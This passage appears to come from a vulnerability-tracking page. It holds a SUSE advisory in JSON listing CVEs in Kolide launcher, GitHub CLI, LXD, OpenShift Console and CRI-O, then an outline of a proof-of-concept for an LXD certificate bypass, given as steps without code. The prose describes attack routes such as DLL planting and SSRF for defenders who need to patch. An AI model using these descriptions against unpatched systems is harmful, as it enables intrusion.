          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2024-53862"
    },
    {
      "cve": "CVE-2024-54131",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-54131"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "The Kolide Agent (aka: Launcher) is the lightweight agent designed to work with Kolide\u0027s service. An implementation bug in the Kolide Agent (known as `launcher`) allows for local privilege escalation to the SYSTEM user on Windows 10 and 11. The bug was introduced in version 1.5.3 when launcher started storing upgraded binaries in the ProgramData directory. This move to the new directory meant the launcher root directory inherited default permissions that are not as strict as the previous location. These incorrect default permissions in conjunction with an omitted SystemDrive environmental variable (when launcher starts osqueryd), allows a malicious actor with access to the local Windows device to successfully place an arbitrary DLL into the osqueryd process\u0027s search path. Under some circumstances, this DLL will be executed when osqueryd performs a WMI query. This combination of events could then allow the attacker to escalate their privileges to SYSTEM. Impacted versions include versions \u003e= 1.5.3 and the fix has been released in 1.12.3.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-54131",
          "url": "https://www.suse.com/security/cve/CVE-2024-54131"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2024-54131"
    },
    {
      "cve": "CVE-2024-54132",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-54132"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "The GitHub CLI is GitHub\u0027s official command line tool. A security vulnerability has been identified in GitHub CLI that could create or overwrite files in unintended directories when users download a malicious GitHub Actions workflow artifact through gh run download. This vulnerability stems from a GitHub Actions workflow artifact named .. when downloaded using gh run download. The artifact name and --dir flag are used to determine the artifact\u0027s download path. When the artifact is named .., the resulting files within the artifact are extracted exactly 1 directory higher than the specified --dir flag value. This vulnerability is fixed in 2.63.1.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-54132",
          "url": "https://www.suse.com/security/cve/CVE-2024-54132"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1234230 for CVE-2024-54132",
          "url": "https://bugzilla.suse.com/1234230"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2024-54132"
    },
    {
      "cve": "CVE-2024-6156",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-6156"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Mark Laing discovered that LXD\u0027s PKI mode, until version 5.21.2, could be bypassed if the client\u0027s certificate was present in the trust store.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-6156",
          "url": "https://www.suse.com/security/cve/CVE-2024-6156"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "low"
        }
      ],
      "title": "CVE-2024-6156"
    },
    {
      "cve": "CVE-2024-6219",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-6219"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Mark Laing discovered in LXD\u0027s PKI mode, until version 5.21.1, that a restricted certificate could be added to the trust store with its restrictions not honoured.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-6219",
          "url": "https://www.suse.com/security/cve/CVE-2024-6219"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "low"
        }
      ],
      "title": "CVE-2024-6219"
    },
    {
      "cve": "CVE-2024-6538",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-6538"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "A flaw was found in OpenShift Console. A Server Side Request Forgery (SSRF) attack can happen if an attacker supplies all or part of a URL to the server to query. The server is considered to be in a privileged network position and can often reach exposed services that aren\u0027t readily available to clients due to network filtering. Leveraging such an attack vector, the attacker can have an impact on other services and potentially disclose information or have other nefarious effects on the system.\nThe /api/dev-console/proxy/internet endpoint on the OpenShift Console allows authenticated users to have the console\u0027s pod perform arbitrary and fully controlled HTTP(s) requests. The full response to these requests is returned by the endpoint.\nWhile the name of this endpoint suggests the requests are only bound to the internet, no such checks are in place. An authenticated user can therefore ask the console to perform arbitrary HTTP requests from outside the cluster to a service inside the cluster.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-6538",
          "url": "https://www.suse.com/security/cve/CVE-2024-6538"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2024-6538"
    },
    {
      "cve": "CVE-2024-8676",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-8676"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "A vulnerability was found in CRI-O, where it can be requested to take a checkpoint archive of a container and later be asked to restore it. When it does that restoration, it attempts to restore the mounts from the restore archive instead of the pod request. As a result, the validations run on the pod spec, verifying that the pod has access to the mounts it specifies are not applicable to a restored container. This flaw allows a malicious user to trick CRI-O into restoring a pod that doesn\u0027t have access to host mounts. The user needs access to the kubelet or cri-o socket to call the restore endpoint and trigger the restore.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-8676",
          "url": "https://www.suse.com/security/cve/CVE-2024-8676"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1233812 for CVE-2024-8676",
          "url": "https://bugzilla.suse.com/1233812"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2024-8676"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
Confirmed: The vulnerability is confirmed from an analyst perspective.
Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
Patched: This vulnerability was successfully patched by the user reporting the sighting.
Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
Not confirmed: The user expresses doubt about the veracity of the vulnerability.
Not patched: This vulnerability was not successfully patched by the user reporting the sighting.

Action not permitted

CVE-2024-6156 (GCVE-0-2024-6156)

Vulnerability from cvelistv5

ghsa-4c49-9fpc-hc3v

Vulnerability from github

Summary

Versions affected

Details

PoC

Install/initialize LXD

Add a certificate to the trust store before enabling PKI.

Use easyrsa for configuring CA: https://github.com/OpenVPN/easy-rsa

Restart daemon.

Using curl with the client certificate we expect a 403 Forbidden response.

Instead we get a 200 OK and we are able to view the response body.

Impact

Notes

fkie_cve-2024-6156

Vulnerability from fkie_nvd

opensuse-su-2024:14567-1

Vulnerability from csaf_opensuse

Tags

Sightings

Nomenclature